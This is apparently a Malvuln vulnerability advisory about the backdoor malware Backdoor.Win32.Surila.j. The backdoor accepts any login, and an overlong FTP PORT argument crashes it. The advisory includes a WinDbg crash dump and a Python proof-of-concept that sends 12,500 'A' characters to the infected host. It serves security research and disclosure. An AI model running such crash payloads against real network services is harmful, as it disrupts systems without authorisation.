## https://sploitus.com/exploit?id=PACKETSTORM:163478
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b1cec4b806c71c82bbd9002bdaf21d1f_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Surila.j
Vulnerability: Remote Denial of Service
Description: The malware listens on random TCP high port numbers typically starting with "1" E.g. 12356, 14985, 13850, 19050. Third-party attackers who can reach infected systems can logon using any username/password combination. Supplying a long string of characters for the FTP PORT command argument results in access violation and crash.
Type: PE32
MD5: b1cec4b806c71c82bbd9002bdaf21d1f
Vuln ID: MVID-2021-0290
Dropped files: iexp1orer.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/12/2021
Memory Dump:
(758.c3c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000000 edx=0040b5d4 esi=00000003 edi=00000003
eip=77dded3c esp=027ce28c ebp=027ce41c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77dded3c c21400 ret 14h
0:005> .ecxr
eax=00000000 ebx=000002b4 ecx=00000000 edx=0040b5d4 esi=00404f4d edi=027cf628
eip=0040492e esp=027cebcc ebp=027cebd4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
*** WARNING: Unable to verify checksum for iexp1orer.exe
*** ERROR: Module load completed but symbols could not be loaded for iexp1orer.exe
iexp1orer+0x492e:
0040492e 8801 mov byte ptr [ecx],al ds:002b:00000000=??
0:005> !exchain
027ce40c: KERNELBASE!_except_handler4+0 (74e7fc20)
CRT scope 0, func: KERNELBASE!WaitForMultipleObjectsEx+31e15 (74ea2fe5)
027ce4d4: kernel32!_except_handler4+0 (7765d450)
CRT scope 0, func: kernel32!WerpReportFaultInternal+485 (7764f7db)
027ce598: KERNELBASE!_except_handler4+0 (74e7fc20)
CRT scope 1, filter: KERNELBASE!UnhandledExceptionFilter+2bf (74efd93f)
func: KERNELBASE!UnhandledExceptionFilter+2c5 (74efd945)
027ce62c: ntdll!ExecuteHandler2+44 (77df9d70)
027cffcc: ntdll!_except_handler4+0 (77de6a50)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+3ed68 (77e137b0)
func: ntdll!__RtlUserThreadStart+3edaf (77e137f7)
027cffe4: ntdll!FinalExceptionHandlerPad14+0 (77df9eae)
Invalid exception stack at ffffffff
0:005> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
iexp1orer+492e
0040492e 8801 mov byte ptr [ecx],al
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040492e (iexp1orer+0x0000492e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00000000
Attempt to write to address 00000000
PROCESS_NAME: iexp1orer.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 00000000
WRITE_ADDRESS: 00000000
FOLLOWUP_IP:
iexp1orer+492e
0040492e 8801 mov byte ptr [ecx],al
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00000c3c
BUGCHECK_STR: APPLICATION_FAULT_NULL_POINTER_WRITE_PROBABLYEXPLOITABLE
PRIMARY_PROBLEM_CLASS: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE
DEFAULT_BUCKET_ID: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE
LAST_CONTROL_TRANSFER: from 00403413 to 0040492e
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
027cebd4 00403413 00000000 0040b5d4 00000000 iexp1orer+0x492e
027cebe8 00405385 00000000 0040b5d4 00404f4d iexp1orer+0x3413
027cff80 77608654 000002b4 77608630 4da48a6e iexp1orer+0x5385
027cff94 77dd4a77 000002b4 4925826f 00000000 kernel32!BaseThreadInitThunk+0x24
027cffdc 77dd4a47 ffffffff 77df9eae 00000000 ntdll!__RtlUserThreadStart+0x2f
027cffec 00000000 00404f4d 000002b4 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: ~5s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: iexp1orer+492e
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: iexp1orer
IMAGE_NAME: iexp1orer.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 41417b55
FAILURE_BUCKET_ID: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE_c0000005_iexp1orer.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_NULL_POINTER_WRITE_PROBABLYEXPLOITABLE_iexp1orer+492e
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=19427
def chk_res(s):
res=""
while True:
res += s.recv(128)
print(res)
if "\0" in res or "\n" in res or res == "" or "OK" in res or res=="":
break
return res
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
if "220 Bot Server (Win32)" in chk_res(s):
print("Backdoor.Win32.Surila.j Found!")
s.send("USER mal\r\n")
time.sleep(0.5)
s.send("PASS vuln\r\n")
time.sleep(0.5)
PAYLOAD="A"*12500
s.send("PORT " + PAYLOAD+"\r\n")
print("Backdoor.Win32.Surila.j / Remote Denial of Service")
print("MD5: b1cec4b806c71c82bbd9002bdaf21d1f")
print("Malvuln")
s.close()
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).